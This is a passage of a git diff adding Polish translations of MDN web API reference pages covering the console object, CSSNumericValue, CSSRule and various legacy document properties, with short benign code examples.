level"); +console.group(); +console.log("Level 2"); +console.group(); +console.log("Level 3"); +console.warn("More of level 3"); +console.groupEnd(); +console.log("Back to level 2"); +console.groupEnd(); +console.debug("Back to the outer level"); +</pre> + +<p>The output looks like this:</p> + +<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p> + +<div>{{h3_gecko_minversion("Timers", "10.0")}}</div> + +<p>In order to calculate the duration of a specific operation, Gecko 10 introduced the support of timers in the <code>console</code> object. To start a timer, call the <code>console.time</code><code>()</code> method, giving it a name as only parameter. To stop the timer, and to get the elapsed time in miliseconds, just call the <code>console.timeEnd()</code> method, again passing the timer's name as the parameter. Up to 10,000 timers can run simultaneously on a given page.</p> + +<p>For example, given this code:</p> + +<pre class="brush: js">console.time("answer time"); +alert("Click to continue"); +console.timeEnd("answer time"); +</pre> + +<p>will log the time needed by the user to discard the alert box:</p> + +<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p> + +<p>Notice that the timer's name is displayed both when the timer is started and when it's stopped.</p> + +<div class="note"><strong>Note:</strong> It's important to note that if you're using this to log the timing for network traffic, the timer will report the total time for the transaction, while the time listed in the network panel is just the amount of time required for the header. If you have response body logging enabled, the time listed for the response header and body combined should match what you see in the console output.</div> + +<h3 id="Stack_traces">Stack traces</h3> + +<p>The console object also supports outputting a stack trace; this will show you the call path taken to reach the point at which you call {{domxref("console.trace()")}}. Given code like this:</p> + +<pre>foo(); + +function foo() { + function bar() { + console.trace(); + } + bar(); +} +</pre> + +<p>The output in the console looks something like this:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p> + +<h2 id="Notes">Notes</h2> + +<ul> + <li>At least in Firefox, if a page defines a console object, that object overrides the one built into Firefox.</li> + <li>Prior to {{Gecko("12.0")}}, the console object's methods only work when the Web Console is open. Starting with {{Gecko("12.0")}}, output is cached until the Web Console is opened, then displayed at that time.</li> + <li>It's worth noting that the Firefox's built-in <code>console</code> object is compatible with the one provided by <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Tools" title="Tools">Tools</a></li> + <li><a href="/en-US/docs/Tools/Web_Console" title="Web Console">Web Console</a> - how the Web Console in Firefox handles console API calls</li> + <li><a href="/en-US/docs/Tools/Remote_Debugging">Remote debugging</a> - how to see console output when the debugging target is a mobile device</li> + <li><a href="/en-US/Firefox_OS/Using_the_App_Manager">Debugging apps on Firefox OS</a> - using the App Manager to debug apps running on Firefox OS</li> + <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> - how to do logging on Firefox OS devices</li> +</ul> + +<h3 id="Other_implementations">Other implementations</h3> + +<p> </p> + +<ul> + <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a>;</li> + <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a>;</li> + <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a>;</li> + <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a>.</li> +</ul> diff --git a/files/pl/web/api/console/log/index.html b/files/pl/web/api/console/log/index.html new file mode 100644 index 0000000000..0f18916b5a --- /dev/null +++ b/files/pl/web/api/console/log/index.html @@ -0,0 +1,69 @@ +--- +title: Console.log() +slug: Web/API/Console/log +translation_of: Web/API/Console/log +--- +<div>{{APIRef("Console API")}}{{Non-standard_header}}</div> + +<p>Wyświetla tekst w konsoli.</p> + +<p>{{AvailableInWorkers}}</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]); +console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); +</pre> + +<h2 id="Parameters">Parameters</h2> + +<dl> + <dt><code>obj1</code> ... <code>objN</code></dt> + <dd>Lista obiektów JavaScript do wyświelenia. Podane obiekty są kolejno dołączane i przekazywane na wyjście.</dd> + <dt><code>msg</code></dt> + <dd>String JavaScript zawierający zero lub więcej stringów podmieniających.</dd> + <dt><code>subst1</code> ... <code>substN</code></dt> + <dd>Obiekt JavaScript w którym zastępowane są stringi podmieniające z msg. Daje Ci to dodatkową kontrolę nad formatem.</dd> +</dl> + +<p>Zobacz również <a href="/en-US/docs/DOM/console#Outputting_text_to_the_console">Outputting text to the console</a> w dokumentacji {{domxref("console")}}.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}</td> + <td>{{Spec2("Console API")}}</td> + <td>Początkowa definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Console.log")}}</p> + +<p> </p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li> + <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li> + <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supports additional features in its console.log() implementation, such as <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li> + <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li> +</ul> diff --git a/files/pl/web/api/cssnumericvalue/div/index.html b/files/pl/web/api/cssnumericvalue/div/index.html new file mode 100644 index 0000000000..cd74042e3e --- /dev/null +++ b/files/pl/web/api/cssnumericvalue/div/index.html @@ -0,0 +1,59 @@ +--- +title: CSSNumericValue.div() +slug: Web/API/CSSNumericValue/div +translation_of: Web/API/CSSNumericValue/div +--- +<div>{{draft}}{{APIRef("CSS Typed OM")}}{{SeeCompatTable}}</div> + +<p class="summary">The <strong><code>div()</code></strong> method of the {{domxref("CSSNumericValue")}} interface divides the <code>CSSNumericValue</code> by the supplied value.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var cssNumericValue = CSSNumericValue.div(<em>number</em>);</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt>number</dt> + <dd>Either a {{jsxref('Number')}} or a {{domxref('CSSNumericValue')}}.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A {{domxref('CSSMathProduct')}}.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<dl> + <dt>TypeError</dt> + <dd>Indicates that an invalid type was passed to the method.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">let mathProduct = CSS.px("24").div(CSS.percent("4")); +// Prints "calc(24px / 4%)" +mathProduct.toString();</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('CSS Typed OM','#dom-cssnumericvalue-div','div')}}</td> + <td>{{Spec2('CSS Typed OM')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.CSSNumericValue.div")}}</p> diff --git a/files/pl/web/api/cssnumericvalue/index.html b/files/pl/web/api/cssnumericvalue/index.html new file mode 100644 index 0000000000..eace9532a3 --- /dev/null +++ b/files/pl/web/api/cssnumericvalue/index.html @@ -0,0 +1,113 @@ +--- +title: CSSNumericValue +slug: Web/API/CSSNumericValue +tags: + - API + - CSS Typed Object Model API + - CSSNumericValue + - Experimental + - Houdini + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/CSSNumericValue +--- +<div>{{draft}}{{APIRef("CSS Typed OM")}}{{SeeCompatTable}}</div> + +<p class="summary">The <strong><code>CSSNumericValue</code></strong> interface of the <a href="/docs/Web/API/CSS_Typed_Object_Model_API">CSS Typed Object Model API</a> represents operations that all numeric values can perform.</p> + +<h2 id="Interfaces_based_on_CSSNumericValue">Interfaces based on CSSNumericValue</h2> + +<p>Below is a list of interfaces based on the CSSNumericValue interface.</p> + +<div class="index"> +<ul> + <li>{{domxref('CSSMathInvert')}}</li> + <li>{{domxref('CSSMathMax')}}</li> + <li>{{domxref('CSSMathMin')}}</li> + <li>{{domxref('CSSMathNegate')}}</li> + <li>{{domxref('CSSMathProduct')}}</li> + <li>{{domxref('CSSMathSum')}}</li> + <li>{{domxref('CSSMathValue')}}</li> + <li>{{domxref('CSSNumericArray')}}</li> + <li>{{domxref('CSSPerspective')}}</li> + <li>{{domxref('CSSPositionValue')}}</li> + <li>{{domxref('CSSRotate')}}</li> + <li>{{domxref('CSSSkew')}}</li> + <li>{{domxref('CSSSkeyX')}}</li> + <li>{{domxref('CSSSkeyW')}}</li> + <li>{{domxref('CSSTranslate')}}</li> + <li>{{domxref('CSSUnitValue')}}</li> +</ul> +</div> + +<h2 id="Properties">Properties</h2> + +<p>None.</p> + +<h3 id="Event_handlers">Event handlers</h3> + +<p>No</p> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref('CSSNumericValue.add')}}</dt> + <dd>Adds a supplied number to the <code>CSSNumericValue</code>.</dd> + <dt>{{domxref('CSSNumericValue.sub')}}</dt> + <dd>Subtracts a supplied number from the <code>CSSNumericValue</code>.</dd> + <dt>{{domxref('CSSNumericValue.mul')}}</dt> + <dd>Multiplies the <code>CSSNumericValue</code> by the supplied value.</dd> + <dt>{{domxref('CSSNumericValue.div')}}</dt> + <dd>Divides the <code>CSSNumericValue</code> by the supplied value.</dd> + <dt>{{domxref('CSSNumericValue.min')}}</dt> + <dd>Returns the minimum value passed</dd> + <dt>{{domxref('CSSNumericValue.max')}}</dt> + <dd>Returns the maximum value passed</dd> + <dt>{{domxref('CSSNumericValue.equals')}}</dt> + <dd><em>True</em> if all the values are the exact same type and value, in the same order. Otherwise, <em>false.</em></dd> + <dt>{{domxref('CSSNumericValue.to')}}</dt> + <dd>Converts <code>value</code> into another one with the specified <var>unit.</var></dd> + <dt>{{domxref('CSSNumericValue.toSum')}}</dt> + <dd>TBD</dd> + <dt>{{domxref('CSSNumericValue.type')}}</dt> + <dd>TBD</dd> + <dt>{{domxref('CSSNumericValue.parse')}}</dt> + <dd>Allows a <code class="idl">CSSNumericValue</code> to be constructed directly from a string containing CSS. </dd> +</dl> + + + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('CSS Typed OM','#numeric-value','CSSNumericValue')}}</td> + <td>{{Spec2('CSS Typed OM')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.CSSNumericValue")}}</p> + +<h2 id="See_Also">See Also</h2> + +<ul> + <li>{{domxref('CSSImageValue')}}</li> + <li>{{domxref('CSSKeywordValue')}}</li> + <li>{{domxref('CSSPositionValue')}}</li> + <li>{{domxref('CSSTransformValue')}}</li> + <li>{{domxref('CSSUnparsedValue')}}</li> +</ul> diff --git a/files/pl/web/api/cssrule/index.html b/files/pl/web/api/cssrule/index.html new file mode 100644 index 0000000000..e8893fe44c --- /dev/null +++ b/files/pl/web/api/cssrule/index.html @@ -0,0 +1,97 @@ +--- +title: cssRule +slug: Web/API/CSSRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSRule +--- +<p>{{ ApiRef() }}</p> +<p>Obiekt <code>CSSRule</code> reprezentuje pojedynczy arkusz stylu CSS. To może być pojedyncza reguła arkusza stylów CSS. Może być częścią listy <a href="pl/DOM/stylesheet">stylesheet</a> <a href="pl/DOM/stylesheet.cssRules">cssRules</a>.</p> +<p>Jest tu kilka rodzajów reguł. Wszystkie one dzielą kilka wspólnych własności interfejsu {{ Anch("CSSRule") }} i większość posiada pewne specyficzne własności oraz typy reguł.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Typ</th> + <th>Interfejs związany z regułą</th> + <th>Opis</th> + </tr> + <tr> + <td><code>CSSRule.STYLE_RULE</code></td> + <td>{{ Anch("CSSStyleRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.MEDIA_RULE</code></td> + <td>{{ Anch("CSSMediaRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.FONT_FACE_RULE</code></td> + <td>{{ Anch("CSSFontFaceRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.PAGE_RULE</code></td> + <td>{{ Anch("CSSPageRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.IMPORT_RULE</code></td> + <td>{{ Anch("CSSImportRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.CHARSET_RULE</code></td> + <td>{{ Anch("CSSCharsetRule") }}</td> + <td> </td> + </tr> + <tr> + <td><code>CSSRule.UNKNOWN_RULE</code></td> + <td>{{ Anch("CSSUnknownRule") }}</td> + <td> </td> + </tr> + </tbody> +</table> +<h3 id="CSSRule" name="CSSRule">CSSRule</h3> +<dl> + <dt> + <a href="pl/DOM/cssRule.cssText">cssText</a></dt> + <dd> + Zwraca tekstową reprezentację reguły, np. "h1,h2 { font-size: 16pt }".</dd> + <dt> + <a href="pl/DOM/cssRule.parentRule">parentRule</a></dt> + <dd> + Zwraca regule zawarta w treści jeśli takowa istnieje, np. regułę stylu znajdującą sie wewnątrz bloku @media.</dd> + <dt> + <a href="pl/DOM/cssRule.parentStyleSheet">parentStyleSheet</a></dt> + <dd> + Zwraca obiekt <a href="pl/DOM/stylesheet">stylesheet</a>, którego reguła jest częścią.</dd> + <dt> + <a href="pl/DOM/cssRule.type">type</a></dt> + <dd> + Zwraca typ reguły, np. <code>CSSRule.CHARSET_RULE</code> lub <code>CSSRule.IMPORT_RULE</code>.</dd> +</dl> +<h3 id="CSSStyleRule" name="CSSStyleRule">CSSStyleRule</h3> +<dl> + <dt> + <a href="pl/DOM/cssRule.selectorText">selectorText</a></dt> + <dd> + Pobiera/ustawia tekstową reprezentację selektora dla reguły, np.: "h1,h2".</dd> + <dt> + <a href="pl/DOM/cssRule.style">style</a></dt> + <dd> + Zwraca obiekt <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration">CSSStyleDeclaration</a> dla reguły <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">deklaracji bloku</a>.</dd> +</dl> +<h3 id="CSSStyleRule_2" name="CSSStyleRule_2">CSSStyleRule</h3> +<h3 id="CSSMediaRule" name="CSSMediaRule">CSSMediaRule</h3> +<h3 id="CSSFontFaceRule" name="CSSFontFaceRule">CSSFontFaceRule</h3> +<h3 id="CSSPageRule" name="CSSPageRule">CSSPageRule</h3> +<h3 id="CSSImportRule" name="CSSImportRule">CSSImportRule</h3> +<h3 id="CSSCharsetRule" name="CSSCharsetRule">CSSCharsetRule</h3> +<h3 id="CSSUnknownRule" name="CSSUnknownRule">CSSUnknownRule</h3> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRule">DOM Level 2 CSS: CSSRule</a></p> +<p>{{ languages( { "en": "en/DOM/cssRule" } ) }}</p> diff --git a/files/pl/web/api/document/activeelement/index.html b/files/pl/web/api/document/activeelement/index.html new file mode 100644 index 0000000000..bd8527e319 --- /dev/null +++ b/files/pl/web/api/document/activeelement/index.html @@ -0,0 +1,26 @@ +--- +title: document.activeElement +slug: Web/API/Document/activeElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca element, na którym ustawiony jest fokus.</p> +<p>{{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">var curElement = document.activeElement; +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Zarządzanie fokusem </a></p> +<p> </p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "fr": "fr/DOM/document.activeElement", "ja": "ja/DOM/document.activeElement" } ) }}</p> diff --git a/files/pl/web/api/document/alinkcolor/index.html b/files/pl/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..82e8dda6cd --- /dev/null +++ b/files/pl/web/api/document/alinkcolor/index.html @@ -0,0 +1,24 @@ +--- +title: document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/alinkColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca bądź ustawia kolor aktywnych odnośników w ciele dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>kolor</i> = HTMLBodyElement.aLinkColor +HTMLBodyElement.aLinkColor =<i>kolor</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową (np. "#fefdf8").</li> +</ul> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.alinkColor", "es": "es/DOM/document.alinkColor" } ) }}</p> diff --git a/files/pl/web/api/document/anchors/index.html b/files/pl/web/api/document/anchors/index.html new file mode 100644 index 0000000000..e1681f5372 --- /dev/null +++ b/files/pl/web/api/document/anchors/index.html @@ -0,0 +1,38 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/anchors +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>anchors</code> zwraca listę wszystkich kotwic w dokumencie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>listaWęzłów</em> = document.anchors +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if ( document.anchors.length >= 5 ) { + dump("dump found too many anchors"); + window.location = "http<span class="nowiki">:</span>//www.google.com"; +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ze względu na zgodność wsteczną, zwracany zestaw kotwic zawiera tylko kotwice posiadające atrybut <code>name</code>, bez tych które posiadają jedynie atrybut <code>id</code>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></p> + +<p>{{ languages( { "en": "en/DOM/document.anchors", "es": "es/DOM/document.anchors", "ja": "ja/DOM/document.anchors" } ) }}</p> diff --git a/files/pl/web/api/document/applets/index.html b/files/pl/web/api/document/applets/index.html new file mode 100644 index 0000000000..719c43b33b --- /dev/null +++ b/files/pl/web/api/document/applets/index.html @@ -0,0 +1,26 @@ +--- +title: document.applets +slug: Web/API/Document/applets +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/applets +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>applets</b> zwraca uporządkowaną listę apletów umieszczonych w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>listaWęzłów</i> = document.applets +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// (Kiedy wiesz, że drugi aplet jest tym, +// którego szukasz) +my_java_app = document.applets[1]; +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-85113862">applets </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets" } ) }}</p> diff --git a/files/pl/web/api/document/bgcolor/index.html b/files/pl/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..cdc5731cbf --- /dev/null +++ b/files/pl/web/api/document/bgcolor/index.html @@ -0,0 +1,33 @@ +--- +title: document.bgColor +slug: Web/API/Document/bgColor +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/bgColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>{{ Deprecated_header() }} Własność + <i> + bgColor</i> + pobiera/zwraca kolor tła dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>kolor</i> = document.bgColor +document.bgColor =<i>kolor</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>kolor</code> jest łańcuchem znaków reprezentującym nazwę koloru - słownie (np. "red") lub w systemie szesnastkowym, jak w HTML-u (np. "#fdfef8")</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">document.bgColor = "darkblue"; +</pre> +<h3 id="Notes" name="Notes">Notes</h3> +<p>Domyślną wartością tej własności w Mozilli Firefox jest kolor biały (<code>#ffffff</code> w systemie szesnastkowym).</p> +<p>Własność <code>document.bgColor</code> jest wycofywana <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. Zalecanym rozwiązaniem alternatywnym jest użycie stylu CSS <a href="pl/CSS/background-color"> background-color</a>, gdy możemy uzyskać dostęp bezpośrednio przez DOM za pomocą własności<code>document.body.style.backgroundColor</code>. Innym alternatywnym rozwiązaniem jest <code>document.body.bgColor</code>, chociaż to rozwiązanie jest także wycofywane w HTML 4.01 na rzecz rozwiązania wykorzystującego CSS .</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.bgColor", "es": "es/DOM/document.bgColor" } ) }}</p> diff --git a/files/pl/web/api/document/body/index.html b/files/pl/web/api/document/body/index.html new file mode 100644 index 0000000000..1ae1aa480e --- /dev/null +++ b/files/pl/web/api/document/body/index.html @@ -0,0 +1,31 @@ +--- +title: document.body +slug: Web/API/Document/body +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/body +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>body</b> zwraca węzeł <code><body></code> lub <code><frameset></code> z bieżącego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>objRef</i> = document.body +document.body =<i>objRef</i> +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// HTML: <body id="oldBodyElement"></body> +alert(document.body.id); // "oldBodyElement" +var aNewBodyElement = document.createElement("body"); +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>document.body</code> to element zawierający treść dokumentu. W dokumentach z elementem <code><body></code> własność zwraca tenże element, w dokumentach z definicją ramek zwracany jest najbardziej zewnętrzny element <code><frameset></code>.</p> +<p>Mimo, że <code>body</code> można samemu ustawić, jego zmiana spowoduje skuteczne usunięcie wszystkich potomków istniejącego elementu <code><body></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-56360201">body </a></p> +<p>{{ languages( { "en": "en/DOM/document.body", "es": "es/DOM/document.body" } ) }}</p> diff --git a/files/pl/web/api/document/characterset/index.html b/files/pl/web/api/document/characterset/index.html new file mode 100644 index 0000000000..4d7fa83359 --- /dev/null +++ b/files/pl/web/api/document/characterset/index.html @@ -0,0 +1,26 @@ +--- +title: document.characterSet +slug: Web/API/Document/characterSet +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/characterSet +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca kodowanie znaków dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.characterSet +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval"><button onclick="alert(document.characterSet);">Pokaż kodowanie znaków</button> +// zwraca kodowanie znaków dokumentu, takie jak "ISO-8859-1 lub UTF-8" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jest to zestaw znaków użyty przy renderowaniu strony, niekoniecznie taki, jak zadeklarowany w kodzie strony (użytkownik może narzucić własne kodowanie).</p> +<p>Kompletną listę dostępnych zestawów znaków znajdziesz tu: <a class="external" href="http://www.iana.org/assignments/character-sets" rel="freelink">http://www.iana.org/assignments/character-sets</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.characterSet", "es": "es/DOM/document.characterSet" } ) }}</p> diff --git a/files/pl/web/api/document/clear/index.html b/files/pl/web/api/document/clear/index.html new file mode 100644 index 0000000000..fdeaf2e52e --- /dev/null +++ b/files/pl/web/api/document/clear/index.html @@ -0,0 +1,19 @@ +--- +title: document.clear +slug: Web/API/Document/clear +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Document/clear +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <b>clear</b> czyści dokument, usuwając całą jego zawartość.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre>document.clear() +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><button label="empty" onclick="document.clear();" /> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> diff --git a/files/pl/web/api/document/close/index.html b/files/pl/web/api/document/close/index.html new file mode 100644 index 0000000000..b325beb8cc --- /dev/null +++ b/files/pl/web/api/document/close/index.html @@ -0,0 +1,26 @@ +--- +title: document.close +slug: Web/API/Document/close +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Document/close +--- +<div> + {{APIRef}}</div> +<div> + </div> +<p><span style="font-size: 1.71428571428571rem; letter-spacing: -0.5px; line-height: 24px;">Podsumowanie</span></p> +<p>Metoda <code>document.close()</code> kończy zapis do otwartego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre>document.close() +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// otwieramy dokument do zapisu +// i kończymy zamknięciem poprzez close() +document.open(); +document.write("<P>The only content</P>."); +document.close(); +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-98948567">close</a></p> diff --git a/files/pl/web/api/document/compatmode/index.html b/files/pl/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..a2750f2ad8 --- /dev/null +++ b/files/pl/web/api/document/compatmode/index.html @@ -0,0 +1,32 @@ +--- +title: document.compatMode +slug: Web/API/Document/compatMode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/compatMode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wskazuje, czy dokument renderowany jest w trybie zgodności wstecznej (ang. + <i> + quirks mode</i> + ), czy też w trybie standardów (ang. + <i> + strict 